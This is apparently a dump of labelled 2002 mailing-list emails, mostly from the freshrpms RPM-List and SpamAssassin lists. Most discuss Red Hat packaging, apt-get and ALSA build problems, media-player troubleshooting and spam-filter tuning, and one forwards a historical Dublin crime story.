alsa-driver-0.9.0rc3-fr6.src.rpm > > gcc -DALSA_BUILD -D__KERNEL__ -DMODULE=1 \ > -I/usr/src/redhat/BUILD/alsa-driver-0.9.0rc3/include \ > -I/lib/modules/2.4.18/build/include -O2 \ > -mpreferred-stack-boundary=2 -march=i686 -DLINUX -Wall \ > -Wstrict-prototypes -fomit-frame-pointer -pipe -DEXPORT_SYMTAB \ > -c sound.c > > sound.c:41: `snd_hack_usb_set_interface' undeclared here (not in a \ > function) > > sound.c:41: initializer element is not constant > > sound.c:41: (near initialization for \ > __ksymtab_snd_hack_usb_set_interface.value') > > make[1]: *** [sound.o] Error 1 > > The line in question looks like this: > > /* USB workaround */ > #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 5, 24) > #if defined(CONFIG_SND_USB_AUDIO) || \ > defined(CONFIG_SND_USB_AUDIO_MODULE) || \ > defined(CONFIG_SND_USB_MIDI) || \ > defined(CONFIG_SND_USB_MIDI_MODULE) > -41-> > EXPORT_SYMBOL(snd_hack_usb_set_interface); > #endif > #endif > > Any suggestions? > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Finding out files larger than given size LOST #324 To find out all files in a dir over a given size, try: find /path/to/dir_of_file -type f -size +Nk [Where N is a number like 1024 for 1mb, and multiples thereof] ####[Discussions on LIH : 04 Jul 2002]######################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,liblit@eecs.berkeley.edu,31 Aug 2002 13:44:30 +0300,Re: alsa-driver rebuild fails with undeclared USB symbol,"On Sat, 2002-08-31 at 08:28, Ben Liblit wrote: > Well, I've figured out the problem. I guess you could say it's an ALSA > bug. When one configures using ""--with-cards=all"", ALSA blindly turns > on the various CONFIG_SND_USB_* macros even if CONFIG_USB is not > actually set. [...] > Matthias, would you please consider hooking up this patch in your > alsa-driver.spec? It can be added in the obvious manner: > > I suppose I should send this along to the ALSA developers as well. For > them I'll produce a ""proper"" patch that makes the fix in ""acinclude.m4"". > Or is someone else on this list already part of the ALSA developer > community, and willing to shepherd this through for me? Not me, but IMHO it's kind of offtopic to put it in freshrpms.net RPMs. Upstream is the way to go... -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sat, 31 Aug 2002 12:53:33 +0200",Re: alsa-driver rebuild fails with undeclared USB symbol,"Once upon a time, Ville wrote : > Not me, but IMHO it's kind of offtopic to put it in freshrpms.net RPMs. > Upstream is the way to go... Agreed, especially since my packages are primarily meant for the original Red Hat Linux kernels. And someone removing USB support from his kernel is probably not going to recompile ALSA with *all* the drivers anyway ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Sun, 01 Sep 2002 10:30:20 +0000",Re: ALSA (almost) made easy (gamix rocks),"This mixer is specific to ALSA's special stuff, I use it in addition to the other mixers if I need something special. I built it a while ago, may need a --rebuild. http://www.dudex.net/rpms/gamix-1.99.p13-aap1.i686.rpm http://www.dudex.net/rpms/gamix-1.99.p13-aap1.src.rpm http://www.dudex.net/rpms/gamix.spec Matthias Saou (matthias@egwn.net) wrote*: > >Once upon a time, Ville wrote : > >> Ah! The mixer stuff was what made me look for an init script in the >> first place, I didn't bother to check whether the existing stuff would >> have worked with that. Will try that out, you can assume silence == >> success :) > >Well, from what I've tried, both the main and the PCM (at least) volume >levels can be controlled either by ""alsamixer"" or the good old ""aumix"". > >> > >From what I can tell after only 2 days using it : ALSA rocks, >> > >especially >> > since having a full OSS compatibility results that it breaks nothing at >> > all! :-) >> >> Agreed. Though with only 2 hours experience... > >I guess/hope some other people from the list will try it out ;-) > >Both problems you reported (libasound.so and wrong xine dependency) are now >fixed in the current packages. > >Oh, it's maybe also worth pointing out : I've implemented at last sorting >by both last change date and alphabetically for my ""build list"" in the php >code : http://freshrpms.net/builds/ > >And yes, I accept patches/comments/suggestions about all those spec files! > >Matthias > > >_______________________________________________ >RPM-List mailing list > -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","""FreshRPMs List"" ","Mon, 02 Sep 2002 01:03:30 +0000",Fw: some (null) eyecandy packages,"This is a multipart message in MIME format -----=_Next_Part_10878775_zmiO_mWTr_109818780 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Content-Disposition: inline If anyone here is running (null) beta then you may like these Gnome theme packages. They are enhanced and repackages from my previous theme packs, this time to conform to the way pre-release RH8 handles themes for GTK1 and GTK2. RedHat has a preferences -> themes app, but themes only show up there that have BOTH gtk1.2 (Gnome1) themes AND gtk1.4 (GTK2 aka Gnome2) themes available. Then RH will apply the theme to both GTK versions, so the user does not really notice that different GTK toolkit versions are being used, since they *should* look the same. This ""gtk2-engines-compat"" RPM has GTK2 ported themes for those themes that are included in the RH package ""gtk-engines"" themes pack for GTK1. The ""gtk1+2-themez"" pack mostly repackages my previous theme RPMs in a way that the (null) btea like, and supposedly the next RH8 when released :) forward - original mail: From "" Angles Puglisi"" Date 09/01/2002 - 06:10:03 am Subject some (null) eyecandy packages -----=_Next_Part_10878775_zmiO_mWTr_109818780 Content-Type: message/rfc822; Content-Disposition: inline Delivered-To: limbo-list@listman.spamassassin.taint.org X-Originating-IP: [207.172.11.147] From: """" Angles "" Puglisi"" To: limbo-list@spamassassin.taint.org Subject: some (null) eyecandy packages Message-ID: <20020901.eak.70699000@www.dudex.net> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Content-Disposition: inline X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v 0.9.14.000 X-Loop: limbo-list@spamassassin.taint.org Sender: limbo-list-admin@spamassassin.taint.org Errors-To: limbo-list-admin@spamassassin.taint.org X-BeenThere: limbo-list@spamassassin.taint.org X-Mailman-Version: 2.0.1 Precedence: bulk Reply-To: limbo-list@spamassassin.taint.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of the Red Hat Linux 'Limbo' beta List-Unsubscribe: , List-Archive: Date: Sun, 01 Sep 2002 10:01:54 +0000 I make these for myself, you may find them of interest. See the .spec file(s) for info. http://www.dudex.net/rpms/gtk2-engines-compat-1.0-aap1.noarch.rpm http://www.dudex.net/rpms/gtk2-engines-compat-1.0.spec http://www.dudex.net/rpms/gtk1+2-themez-1.1-aap1.noarch.rpm http://www.dudex.net/rpms/gtk1+2-themez-1.1.spec You'll need gtk-engines, gtk2-engines, and a ""thinice"" engine for gtk2, this one might be a old now but it works: http://www.dudex.net/rpms/gtk2-thinice-engine-2.0.1-2.i386.rpm http://www.dudex.net/rpms/gtk2-thinice-engine-2.0.1-2.src.rpm http://www.dudex.net/rpms/gtk2-thinice-engine-2.0.1.spec -- That's ""angle"" as in geometry. _______________________________________________ Limbo-list mailing list Limbo-list@redhat.com -----=_Next_Part_10878775_zmiO_mWTr_109818780-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,08 Oct 2002 00:57:24 +0300,Re: Nessus?,"On Tue, 2002-10-08 at 00:05, Matthias Saou wrote: > It's 100% untested, although the build should be ok. The new menu was > added, but some configuration files may be better with new or different > defaults. > > Feedback is very welcome! Looks good to me, just installed it, and ran a local scan, everything worked smoothly. Thanks a bunch! -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 8 Oct 2002 09:37:21 +0200",Re: xine src packge still gives errors,"Once upon a time, Roi wrote : > RPM build errors: > user dude does not exist - using root > user dude does not exist - using root > user dude does not exist - using root > user dude does not exist - using root > user dude does not exist - using root This I would guess is normal, but don't you get it at the very beginning of the build? Isn't this at the end just a reminder? > File not found: /var/tmp/xine-root/usr/bin/aaxine Argh, I forgot to exclude aaxine from the %files when using ""--without aalib"" :-( The current ""fr6.1"" spec file fixes this... Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.02 0.03 0.00 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 8 Oct 2002 09:43:34 +0200",Re: xmms and .mp3 files.,"Once upon a time, Roi wrote : > oh xmms didn't work for me also > i used mpg123 i tought its something from me Nope, this is ""normal"" as Red Hat removed all mp3 support from 8.0 because of patent and royalty issues :-( On freshrpms.net, you can find the xmms mp3 plugin as I said, but also libmad, lame (mp3 encoder), and soon mpg321 as I often used it myself. Many other players can also play mp3 files, like alsaplayer, xine, mplayer. > like mplayer not working also and gives black screen This is not normal though... Try ""mplayer -vo help"" then try usinf various output methods to see if some do work or not. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.00 0.05 0.01 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Panu Matilainen ,rpm-zzzlist@freshrpms.net,"Tue, 8 Oct 2002 11:43:09 +0300 (EEST)",Re: a problem with apt-get,"On Mon, 7 Oct 2002, Thomas Vander Stichele wrote: > Hi, > > In my build scripts, I have problems with some of the kernel packages. > > For kernel-sources, I get : > > Package kernel-source is a virtual package provided by: > kernel-source#2.4.18-3 2.4.18-3 > kernel-source#2.4.18-3 2.4.18-3 > > on running apt-get install kernel-source > > Now, first of all, this doesn't really tell me what the two options are ;) > Second, is there some way I can tell apt-get to install either ? This is > done from automatic build scripts so I'd like it to proceed anyway. That's just apt's way of telling you the package is in ""AllowDuplicated"", meaning multiple versions of the package can be installed at the same time. Yes the output is a bit strange.. especially when there's only one version available. 'apt-get install kernel-source#2.4.18-3' will install it... -- - Panu - _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Panu Matilainen ,rpm-zzzlist@freshrpms.net,"Tue, 8 Oct 2002 11:48:01 +0300 (EEST)",Re: RH 8 no DMA for DVD drive,"On Mon, 7 Oct 2002, Jesse Keating wrote: > On Mon, 7 Oct 2002 19:28:51 +0200 > Matthias Saou wrote: > > # I've never heard of any CD-ROM or DVD-ROM drive having problems with > # DMA... although there probably is since Red Hat decided to default > # disabling it a few releases back :-/ > > When I worked as a PC repair tech for a Computer store chain, I did > run across quite a few DVD drives that would lock up if DMA was > enabled. It's more of a chipset/drive problem than a Drive by itself. And my IBM Intellistation would lock up instantly .. now this is actually quite funny .. if DMA was enabled for the CD-ROM *and* you tried to access a CD with Joliet extensions. Otherwise it worked just fine with DMA enabled :) -- - Panu - _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","valhalla-list@spamassassin.taint.org,","Wed, 28 Aug 2002 03:28:10 +0000",Re: ALSA (almost) made easy,"Matthias Saou (matthias@rpmforge.net) wrote*: > >You can also install the XMMS plugin >(seems to make my XMMS segfault on exit... >hmmm, but maybe it's another plugin) to listen to your good ol' mp3 >files... that's it! I've an XMMS Alsa module I've been using for a while now at: http://www.dudex.net/rpms/alsa-xmms-0.9_cvs020630-aap1.i686.rpm http://www.dudex.net/rpms/alsa-xmms-0.9_cvs020630-aap1.src.rpm http://www.dudex.net/rpms/alsa-xmms-0.9_cvs020630.spec Also there is alsaplayer rpms there too: http://www.dudex.net/rpms/alsaplayer-0.99.71-aap1.i386.rpm http://www.dudex.net/rpms/alsaplayer-0.99.71-aap1.i686.rpm http://www.dudex.net/rpms/alsaplayer-0.99.71-aap1.src.rpm http://www.dudex.net/rpms/alsaplayer-0.99.71.spec Good luck. Both were build on an RH 7.3 box with errata current as of the date of the build. I'm running (null) RH beta now and I recall that alsa-xmms still works, I can not remember if alsaplayer needs a --rebuild. As an aside, alsaplayer is really maturing into a versitile app, I've been packaging for many releases now. I've scripted the alsa-xmms cvs build, so it's easy to spin another one if these rpms do not work on (null). -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """D. Michael Basinger"" ",rpm-zzzlist@freshrpms.net,09 Oct 2002 09:53:22 -0600,Problems with xosd-xmms,"After installing and enabling xosd-xmms I get the following error when trying to start xmms Xlib: unexpected async reply (sequence 0x30)! xmms starts, but it does not detect mouse commands. Thanks, Mike -- D. Michael Basinger dbasinge@speakeasy.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 18:18:01 +0200","Re: xine cannot play DVDs - ""liba52: a52_block error""","Once upon a time, Jon wrote : > Since libdvdcss-1.2.0, I have been unable to play DVDs using ogle, xine, > vlc, or mplayer. They all show a scrambled picture with (VERY) choppy > audio. When I run xine I see tons of these in the console: > > liba52: a52_block error > liba52: a52_block error > liba52: a52_block error > liba52: a52_block error > audio_out: inserting 5859 0-frames to fill a gap of 10989 pts > metronom: audio jump > liba52: a52_block error > > Has anyone seen this before and know how to fix it? Or should I file a > bug report? Hi, First of all, sorry for not replying to your private email from last week, but I really don't have a slight idea of what could be causing this! - Is this with different DVDs or a single one? - Is this using OSS or ALSA? Have you tried both? - Is this using binariy packages or recompiling source ones? I remember a user having trouble with a particular DVD ever since upgrading libdvdcss to a recent version, but haven't heard the end of the story. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.07 0.20 0.21 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Steve Kann ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 15:28:55 -0400","Re: Ack, apt-get still failing for me, stumped. [RH8]","I've also just tried doing rpm --rebuilddb, no change. A question: Do these files look too small? root@canarsie:/var/cache/apt # ls -ltr total 148 drwxr-xr-x 2 root root 4096 Sep 29 10:49 gensrclist drwxr-xr-x 2 root root 4096 Sep 29 10:49 genpkglist drwxr-xr-x 3 root root 4096 Oct 8 19:59 archives -rw-r--r-- 1 root root 49863 Oct 9 15:25 srcpkgcache.bin -rw-r--r-- 1 root root 158131 Oct 9 15:25 pkgcache.bin I ran strings on them, and it doesn't look like I see a complete listing of either my system's installed RPMs, or the rpms in the lists: root@canarsie:/var/state/apt/lists # ls -s total 9988 416 apt.freshrpms.net_redhat_8.0_en_i386_base_pkglist.freshrpms 8704 apt.freshrpms.net_redhat_8.0_en_i386_base_pkglist.os 0 apt.freshrpms.net_redhat_8.0_en_i386_base_pkglist.updates 4 apt.freshrpms.net_redhat_8.0_en_i386_base_release.freshrpms 4 apt.freshrpms.net_redhat_8.0_en_i386_base_release.os 4 apt.freshrpms.net_redhat_8.0_en_i386_base_release.updates 64 apt.freshrpms.net_redhat_8.0_en_i386_base_srclist.freshrpms 788 apt.freshrpms.net_redhat_8.0_en_i386_base_srclist.os 0 apt.freshrpms.net_redhat_8.0_en_i386_base_srclist.updates 0 lock 4 partial If I kill them, they get recreated about the same size next time I run apt-get.. -SteveK On Tue, Oct 08, 2002 at 08:01:48PM -0400, Steve Kann wrote: > > I posted about this last week, and I'm still stumped. apt-get is just > not working for me, and I can't figure out what the problem is. > > I've tried removing the apt rpms, making sure to remove any traces left > behind (/etc/apt /var/state/apt /var/cache/apt), and still, I get > ""couldn't find package xmms-mp3"" when running ""apt-get install xmms-mp3"". > > Any clues? Here's a log of a fresh try: > > root@canarsie:/tmp # rpm -e apt apt-devel > root@canarsie:/tmp # rm -rf /etc/apt /var/cache/apt /var/state/apt > root@canarsie:/tmp # rpm -ivh apt-0.5.4cnc7-fr1.i386.rpm apt-devel-0.5.4cnc7-fr1.i386.rpm > warning: apt-0.5.4cnc7-fr1.i386.rpm: V3 DSA signature: NOKEY, key ID > e42d547b > Preparing... ########################################### [100%] > 1:apt ########################################### [ 50%] > 2:apt-devel ########################################### [100%] > root@canarsie:/tmp # apt-get update > Ign http://apt.freshrpms.net redhat/8.0/en/i386 release > Get:1 http://apt.freshrpms.net redhat/8.0/en/i386/os pkglist [1276kB] > Get:2 http://apt.freshrpms.net redhat/8.0/en/i386/os release [108B] > Get:3 http://apt.freshrpms.net redhat/8.0/en/i386/updates pkglist [14B] > Get:4 http://apt.freshrpms.net redhat/8.0/en/i386/updates release [113B] > Get:5 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms pkglist > [57.1kB] > Get:6 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms release > [125B] > Get:7 http://apt.freshrpms.net redhat/8.0/en/i386/os srclist [152kB] > Get:8 http://apt.freshrpms.net redhat/8.0/en/i386/updates srclist [14B] > Get:9 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms srclist > [14.4kB] > Fetched 1500kB in 11s (125kB/s) > Reading Package Lists... Done > root@canarsie:/tmp # apt-get install xmms-mp3 > Reading Package Lists... Done > Building Dependency Tree... Done > E: Couldn't find package xmms-mp3 > root@canarsie:/tmp # apt-cache search xmms > root@canarsie:/tmp # > > > Beats me.. > > -SteveK > > > > -- > Steve Kann - Chief Engineer - 520 8th Ave #2300 NY 10018 - (212) 533-1775 > HorizonLive.com - collaborate . interact . learn > ""The box said 'Requires Windows 95, NT, or better,' so I installed Linux."" -- Steve Kann - Chief Engineer - 520 8th Ave #2300 NY 10018 - (212) 533-1775 HorizonLive.com - collaborate . interact . learn ""The box said 'Requires Windows 95, NT, or better,' so I installed Linux."" _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Thomas J. Baker"" ",rpm-zzzlist@freshrpms.net,09 Oct 2002 16:08:48 -0400,Apt 0.3 and 0.5,"Should I expect problems if my apt server is running RH 7.3/Apt 0.3 and some clients are coming on line and will be running RH 8.0/Apt 0.5? Do the two different version interoperate? Thanks, tjb -- ======================================================================= | Thomas Baker email: tjb@unh.edu | | Systems Programmer | | Research Computing Center voice: (603) 862-4490 | | University of New Hampshire fax: (603) 862-1761 | | 332 Morse Hall | | Durham, NH 03824 USA http://wintermute.sr.unh.edu/~tjb | ======================================================================= _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 22:47:06 +0200",Re: Apt 0.3 and 0.5,"Once upon a time, Thomas wrote : > Should I expect problems if my apt server is running RH 7.3/Apt 0.3 and > some clients are coming on line and will be running RH 8.0/Apt 0.5? Do > the two different version interoperate? No problems whatsoever. Currently apt.freshrpms.net is running 7.3 with apt 0.3 and many 8.0 clients with 0.5 are using it. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.10 0.11 0.10, AC on-line, battery charging: 100% (1:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 =?ISO-8859-1?Q?Mich=E8l?= Alexandre Salim ,rpm-zzzlist@freshrpms.net,10 Oct 2002 11:30:24 +0100,dvd::rip on Red Hat 8.0?,"Hello, Has anyone made a working source RPM for dvd::rip for Red Hat 8.0? Matthias has a spec file on the site for 0.46, and there are a couple of spec files lying around on the dvd::rip website, including one I patched a while ago, but it appears that the Makefile automatically generated is trying to install the Perl libraries into the system's, and also at the moment dvd::rip needs to be called with PERLIO=stdio as it seems to not work with PerlIO on RH8's Perl. Not too sure what the cleanest way to fix this is - anyone working on this? Thanks, -- Michèl Alexandre Salim Web: http://salimma.freeshell.org GPG/PGP key: http://salimma.freeshell.org/files/crypto/publickey.asc __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 10 Oct 2002 13:12:09 +0200",Re: dvd::rip on Red Hat 8.0?,"Once upon a time, Michl wrote : > Has anyone made a working source RPM for dvd::rip for Red Hat 8.0? I don't think I've tried yet, but if I did, I probably moved on to another package after having bumped into one of the problems you mention. If anyone sends me a patch to my spec file and eventually needed patches etc., I'd be more than glad to make a new build available. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.13 0.09 0.09 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 nobody@dogma.slashnull.org,yyyy+blogged@spamassassin.taint.org,"Fri, 23 Aug 2002 12:09:50 +0100",blogged item,"BlogStart: **Dublin**: something from the archives. Daev Walsh forwards an article from The Irish Digest about ''Billy in the Bowl''. This story is also immortalised in an old Dublin song, which in turn was mentioned in a Pogues track. Billy was a legless beggar in the alleys of Stoneybatter and Grangegorman (where I now live) during the 18th century, who discovered a new, but not entirely legal, way to make money. BlogEnd: LinkText: Billy in the Bowl From: daev Subject: The Case of the Stoneybatter Strangler A story of my new neighbourhood... The Irish Digest July 1964 The Case of the Stoneybatter Strangler The handsome, deformed Billy in the Bowl evolved a plan to rob his donors. Then, one night, he made the biggest mistake of his life DUBLIN in the eighteenth century was noted for two things - the architectural beauty of its public buildings and the large number of beggars who sought alms in its maze of streets and lanes. Many of these beggars relied on visitors and the gentry for their coin, but there was one who campaigned among the working class. This was ""Billy In The Bowl"" The strange appellation was derived from the fact that Billy's sole means of transport was a large bowl-shaped car with wheels. Seated in this "" bowl "", the beggar would propel himself along by pushing against the ground with wooden plugs, one in each hand. Billy's unusual means of conveyance was vitally necessary, as he had been born without legs. Nature, however, had compensated for this by endowing him with powerful arms and shoulders and, what was most important, an unusually handsome face. This was Billy's greatest asset in his daily routine of separating sympathetic passers-by from their small change. The cunning young beggar would wait at a convenient spot on one of the many lonely roads or lanes which were a feature of eighteenth century Grangegorman and Stoneybatter, until a servant girl or an old lady would come along. He would then put on is most attractive smile which, together with his black curly hair, never failed to halt the females. The fact that such a handsome young man was so terribly handicapped physically always evoked pity. ""Billy in the Bowl"", however, wasn't satisfied with becoming the daily owner of a generous number of small coins; what his greed demanded were substantial sums of money. The more he managed to get the more he could indulge in his pet vices - gambling and drinking. As a result the beggar evolved a plan to rob unsuspecting sympathisers. The first time lie put his plan into operation was on a cold March evening as dusk, was falling. The victim was a middle aged woman who was passing through Grangegorman Lane on her way to visit friends in Queen Street - on Dublin's North Quays. When Billy heard the woman's footsteps, he hid behind some bushes in a ditch which skirted the lane. As his unsuspecting victim drew close, the beggar moaned and shouted, and cried out for help. Trembling with excitement, the woman dashed to the spot where Billy lay concealed. She bent down to help the beggar out of the ditch, when two powerful arms closed around her throat and pulled her into the bushes. In a few minutes it was all over. The woman lay in a dead faint, and Billy was travelling at a fast rate down the lane in his "" bowl "", his victirn's purse snug in his coat pocket. An hour after the robbery the woman was found in a distracted condition, but failed to give a description of her assailant. And, as ""Billy in the Bowl"" had figured, nobody would suspect a deformed beggar. Again and again the beggar carried out his robbery plan, always shifting the place of attack to a different part of Grangegorman or Stoneybatter. On one occasion "" Billy in ""the Bowl "" tried his tactics on a sturdy servant girl who put up such a vigorous resistance that he was forced to strangle her. The incident became known as the 11 Grangegorman Lane Murder and caused a great stir. Hundred.s flocked to the scene of the crime and for a couple of months ""Billy in the Bowl"" was forced to desert his usual haunts. Around this period, Dublin's first-ever police force was been mobilised, and the first case they were confronted with was the Grangegorman lane murder. Months passed and ""Billy in the Bowl"" reverted once again to his old pasttime. A number of young servant girls were lured into ditches and robbed, and the police were inundated with so many complaints that a nightly patrol was placed on the district. But the beggar still rolled along in his ""bowl"" pitied and unsuspected. Then came the night that finished Billy's career of crime. Two stoudy built female cooks, trudging back to their places of employment after a night out in the city, were surprised and not a little shocked to hear shouts for help. Rushing over, they came upon a huddled figure in the ditch. Billy, thinking there was only one woman, grabbed one of the cooks and tried to pull her into the ditch. She proved much too strong for him, however) and while resisting tore 'at his face with her sharp finger-nails. Meanwhile, her companion acted with speed and daring. Pulling out her large hatpin she made .for the beggar, and plunged the pin into his right eye. The screams and howls of the wounded beggar reverberated throughout the district and brought people dashing to the scene. Among them was a member of the nightly police patrol who promptly arrested the groaning Billy. ""Billy in the Bowl"" was tried and sentenced for robbery with violence, but they could never prove it was he who had strangled the servant girl. The Grangegorman-Stoneybatter district became once again a quiet, attractive Dublin suburb where old ladies strolled, and carefree servant girls laughed and giggled as they wended their way home at night. daev _______________________________ Rev. Dave 'daev' Walsh, daev@fringeware.com Home: http://www.fringeware.com/hell Weekly Rant: http://www.nua.ie/blather 'Is it about a bicycle?'-Sgt.Pluck, 'The Third Policeman', by Flann O'Brien ________________________________ Holistic Pet Detective, Owl Worrier, Snark Hunter ________________________________",0,1 """Craig R.Hughes"" ",Scott A Crosby ,"Thu, 22 Aug 2002 22:53:44 -0700",Re: results for giant mass-check (phew),"I never claimed it could learn *all* combinatorial possibilities, but it certainly can learn some. C On Thursday, August 22, 2002, at 07:21 PM, Scott A Crosby wrote: > On Thu, 22 Aug 2002 09:20:05 -0700, Craig R.Hughes > writes: > >> It *can* learn combinatorial stuff in a more subtle way. Imagine > > No it can't.. > > It can learn a few examples that happen to be linearily seperable, > like those you gave. It cannot learn the example I gave below, which > is not linearily seperable.",0,0 """Erik Rudolfs"" ",,"Thu, 22 Aug 2002 19:51:35 +0200",[SAdev] Spam-Assassin nightly build 22-8-02,"Hello all, I get problems with the latest nightly build from Spamassassin with VMailMgr + OMail-Admin. It scans the mail and gives it an : X-Spam-Status: No, hits=11.4 required=7.0 Can someone look at the code for it? Maybe because option -F is gone? Greetings Erik Rudolfs ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Craig R.Hughes"" ","Thu, 22 Aug 2002 18:58:01 +0100",Re: [SAtalk] Highest-scoring false positive,"""Craig R.Hughes"" said: > Are you filtering the nonspamtrap for spam when those > newsletters sold your address to someone you didn't sign up > with? You should probably manually verify that all the mail in > the trap is in fact nonspam! Yep. so far it's all opt-in stuff, no ""affiliate deals"" etc. --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Shore ,"""Craig R.Hughes"" ,","Thu, 22 Aug 2002 13:01:51 -0500",Re: [SAtalk] Highest-scoring false positive,"Like an alias for each list that points to the nonspamtrap address. J At 10:50 AM -0700 8/22/02, Craig R.Hughes wrote: >Are you filtering the nonspamtrap for spam when those newsletters >sold your address to someone you didn't sign up with? You should >probably manually verify that all the mail in the trap is in fact >nonspam! > >C > >On Thursday, August 22, 2002, at 07:59 AM, Justin Mason wrote: > >> >>Justin Shore said: >> >>>I just ran across a false positive that scored 8.6. The message was >>>a solicited ad from Apple.com on educator deals. I can send a copy >>>if anyone wants it. >> >>Yes, please do send it on, and I'll add it to the non-spam corpus. >> >>To date, the scores evolved by SpamAssassin are very biased towards >>non-HTML, non-newsletter-ish mail. This release should be different, as >>I've been spending the last month signing up a ""nonspamtrap"" to every >>legit newsletter I can find ;) >> >>This should mean that tests which match common-enough newsletter practices >>will no longer get such high scores once we re-run the GA. -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager http://www.pittstate.edu/ois/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Ken Scott ,spamassassin-talk@example.sourceforge.net,"Thu, 22 Aug 2002 13:01:44 -0500 (CDT)",[SAtalk] Some Stupid Questions,"As the subject line indicates, I'm sure these are stupid questions, but I'm having trouble getting SA working like I understand it should work, and have about given up on trying to figure it out myself. If a user has a line like: whitelist_from *@yahoogroups.com in his .spamassassin/user_prefs file, does that line not, in effect, tell the program to take no action at all against any mail coming in from yahoogroups.com, or is there still checking being done against it? And if the latter, what does he need to place in user_prefs to cause such mail to be ignored? I'm testing SA here with a few users who happen to be on yahoogroups lists, before deploying it system-wide, and although the above line has been added to their user_prefs files, much of their list mail is still going to the spam folder due to all the usual things you would expect to trigger SA. Thanks in advance for any help. -- Ken Scott, admin@shellworld.net ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 